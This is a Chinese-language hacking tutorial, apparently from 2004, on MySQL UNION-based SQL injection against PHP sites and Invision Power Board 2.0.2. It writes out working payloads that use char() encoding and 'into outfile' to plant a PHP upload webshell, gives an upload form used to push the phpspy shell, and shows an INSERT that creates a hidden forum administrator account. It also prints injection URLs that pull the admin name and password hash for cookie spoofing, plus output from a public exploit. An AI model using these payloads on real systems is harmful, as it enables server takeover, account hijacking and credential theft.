我前段時間寫了一篇《MySQL注入中匯出欄位內容的研究——通過注入匯出WebShell》(http://www.4ngel.net/article/37.htm),是查詢資料然後在組建檔案的,現在我發現其實不少PHP程式,比如IPB就是把資料處理過了,再插入資料庫,一般是htmlspecialchars()之後,插入資料,所以利用該文的方法,就行不通了,即使把webshell的代碼插入資料庫,產生出來的也是被處理過的代碼。用不了。 近段時間在測試一個PHP網站的時候,由於在load_file的時候,看不到檔案的內容,所以我就懷疑是不是欄位的原因,因為那些全部是int類型的,還有少數是VARCHAR的,我當初以為是因為這個原因,其實後來進入以後才發現是沒有FILE的許可權,我不斷的換URL提交(注意,寫文章的時候,該網站已經修補了漏洞,現在是本地示範):
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47,104,111,109,101,47,119,119,119,47,99,111,110,102,105,103,46,112,104,112) |
螢幕上顯示了:
路徑沒錯啊,檔案也存在啊,難道沒有許可權?暫時放下這個,這個網站有可寫的目錄,是ipb2的論壇,/ipb2/uploads這個目錄是要設定成可寫的,上傳附件才能正常使用,我就想利用插資料,匯出檔案的方法,因為我看了phpinfo(),magic_quotes_gpc 是關閉的,所以用into outfile沒有問題,然後在本地測試了一下,發現提交的代碼:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> |
變成了:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> |
多提交幾個地方,均被做了處理,看來這樣我的這個思路又不行了,突然想到剛才看路徑的時候,能用char()函數輸出字串,那我能不能直接寫上傳代碼?
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> |
這個轉換為10進位是這樣的:
char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) |
我馬上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) |
螢幕並沒有顯示出我們想要的東西,我查看原始碼,發現
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?> |
這個代碼老老實實躺在裡面, 之所以看不見,是因為瀏覽器把“<”和“>”之間的東西當成HTML代碼解析了,這麼說是可行的!這樣的好處和插資料,匯出檔案相比好處在於:
- 不用插入資料,因此不用考慮資料類型和長度,也不怕做處理。
- 只用知道一個資料表就可以使用into outfile了,無需知道欄位。
因為之前,我猜到一個user表,我也不用去知道欄位了,有欄位作為查詢條件只是為了防止資料庫很大,匯出所有資料時很慢的情況,我現在馬上就提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60,63,99,111,112,121,40,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,116,109,112,95,110,97,109,101,93,44,36,95,70,73,76,69,83,91,77,121,70,105,108,101,93,91,110,97,109,101,93,41,59,63,62) from user into outfile '/home/www/ipb2/uploads/upload.php'/* |
馬上查看, 注意:因為我這裡說是用char()這個函數寫的。所以就用這個來說明了。既然能用單引號就沒必要用CHAR函數了寫東西了。可以直接這樣:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/* |
其中:?=%3F、$=%24,注意編碼,暈……我怎麼覺得這篇文章有點多餘啊??都寫到這裡了,繼續吧!我只是為了告訴大家可以不用插資料了。5555,就這個意思而已也寫了這麼多,我發現我這麼久沒寫文章,邏輯性變差了,沒有條理了。各位將就點吧。 做個表單在本地提交:
<form ENCTYPE="multipart/form-data" ACTION="http://nothing/upload.php" METHOD="POST"> < input NAME="MyFile" TYPE="file"> < input VALUE="提交" TYPE="submit"> < /form> |
傳了一個phpspy上去,呵呵,phpmyadmin的密碼知道了,馬上查看了表首碼等相關資訊,執行SQL語句:
INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0); |
這樣就添加了一個IPB2論壇的管理使用者名是“angel”,密碼是“thepass”,呵呵。 到這裡還沒有說IPB2的漏洞呢,現在補充一下怎麼利用,因為這個測試的網站就是用最新的IPB2.0.2,所以順便把我測試的結果寫下來。真是不好意思。我通過IPB2的注入又進入了一次。 看了看IPB2資訊安全諮詢:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection] |
得知qpid這個變數是沒有過濾的,我先提交:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’ |
返回:
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id) WHERE pid IN (1') mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2 mySQL error code: Date: Monday 06th of December 2004 09:14:34 PM |
看到了嗎?執行了什麼SQL語句,都反饋回來了。從這裡可以看出’(單引號)已經被過濾了,轉為10進位,變成'了,所以用into outfile沒有辦法匯出檔案。這裡如果構造出有效語句,也只能得到敏感資訊了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id) WHERE pid IN (1') |
從這裡看到SQL語句後。我再試著構造語句,利用union聯集查詢,可以得到任意資料庫、任意資料表、任意欄位的內容。提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/* |
可以看到使用者id為1的使用者名稱。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/* |
可以看到使用者id為1的密碼MD5散列。 如果論壇太大了。找不到管理員的ID,直接用“where mgroup=4”作為查詢條件可以了。我也不多說怎麼構造了。大家如果不明白構造,可以先去http//www.4ngel.net看看相關文章。有了這些敏感的資料,就可以直接COOKIE欺騙了哦。IPB2.0.0-2.0.2的COOKIE欺騙的漏洞細節,可以在綠盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。 RusH security team發布的IPB2的exploit(http://www.rst.void.ru/download/r57ipb.txt),要求的參數比較多,居然還要知道SID,如下:
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_ ## ------------------------------------------------------------------------------------------------ ## [>] SERVER: 127.0.0.1 ## [>] DIR: /IPB202/ ## [>] FORUM: 2 ## [>] TOPIC: 1 ## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3 ## [>] PREFIX: ibf_ ## [>] ID: |
如果成功利用了,就會返回,
## [ REPORT ]---------------------------------------------------------------------------------- ## MEMBER_ID: [1] NAME: [angel] PASS_HASH: [2a841e6789e0bcee72d86cd911b9405d] ## -------------------------------------------------------------------------------------------- ## Now you need edit cookie and insert new pass_hash and member_id values. ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
而且他們是CONCAT(id,char(58),name,char(58),member_login_key)這樣來判斷。自然沒有我們直接返回這麼瀟洒了。不過工具也只能這樣了,手工的話,我們只用知道構造就行了,僅此而已。 工具只是武器,技術才是靈魂。毛主席說過:自己動手,豐衣足食 |